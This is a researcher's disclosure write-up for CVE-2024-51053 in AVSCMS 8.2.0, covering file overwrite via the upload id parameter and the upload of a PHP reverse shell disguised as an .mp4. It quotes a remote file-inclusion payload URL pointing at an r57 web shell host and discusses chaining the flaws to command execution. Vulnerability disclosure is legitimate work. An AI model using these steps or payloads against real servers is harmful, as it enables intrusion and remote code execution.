This is a public record, and or proof of concept regarding CVE-2024-51053, a vulnerability affecting AVSCMS version 8.2.0 using PHP version 5.6.40, includes:
The impact is pretty straightforward on the summary I provided above. So far the steps on how the application being uploaded on server is under "{working_directory}/media/videos/vid/{file}". Uniquely enough when tinker around with this vulnerability I found out that the application will use parameter id as the filename. Thus, if an attacker changes the file id on upload request, they can rewrite other user's file upload (pre-approval step). There are also other quirks upon manipulating this fileupload request, but I didn't spent that much time on researching AVSCMS so I opt not to dig further. The following images are illustration on how this vulnerability works or could be exploited.
Upload as user "test".
Use a specific id for testing purpose.
File uploaded as test.mp4
Upload new file as user test2
Use the same id parameter as test
File uploaded by test is overwritten (notice the different hashsum).
Another vulnerability impacting the file upload functionality is how the application doesn't validate the content of uploaded file as long as the file has a valid extension at the end. This means an attacker could upload a malicious binary pretending as a legitimate mp4 (video) file. I will demonstrate the steps to reproduce this vulnerability and what I think while researching this vuln later.
File to upload is a simple php reverse shell.
Upload the file using arbitrary filename via id parameter for easier access (remember file rewrite).
File uploaded despite having php content.
On this part I wish to speak of another research, https://vulners.com/packetstorm/PACKETSTORM:173122 (Adult Video Script 8.2 File Inclusion). Theoretically by reading their PoC you could expect to chain lack this (File upload) vulnerability with Packetstorm's (File Inclusion) leading into RCE (Remote Command Execution)*. To my surprise, I found their following PoC:
http://127.0.0.1/www/lustubecom/siteadmin/editor_files/image.php?lang_include=http://www.dcvi.net/r57.txt?Is invalid, let's check the supposedly affected source code:
It's quite obvious that the research is trying to target this line of code.
But if you read the source code completely that's not where lang_include is declared/initiated so in no way that you could inject using lang_include parameter. So... where is lang_include variable is initiated? well turns out it's inside common.php. Now, you might be tempted to say "Well, just inject it there n00b". Well try reading this!
wp_file_name_ok? what is that? exactly, you need to answer that question before exploiting it. Which can be found here.
Yes, you read that right, the payload http://www.dcvi.net/r57.txt is filtered...
So unless you find a way to bypass that filter. You are going nowhere sir. If you imagine that '.' and '/' is not filtered that this is an easy RCE (or simple CTF problem). Since I (again) didn't spend that much time to AVSCMS, and I simply don't want to spend more time for a bypass. This finding will remain as is.
Unrelated image that comes to my mind.
Another interesting, way to make this vulnerability fun is via php server misconfiguration. Imagine if the server is configured in such a way where they only read the .php extension and execute it.
Say we misconfigure the .htaccess* like above, we could easily simply acess the uploaded file and include it. Resulting in command execution.
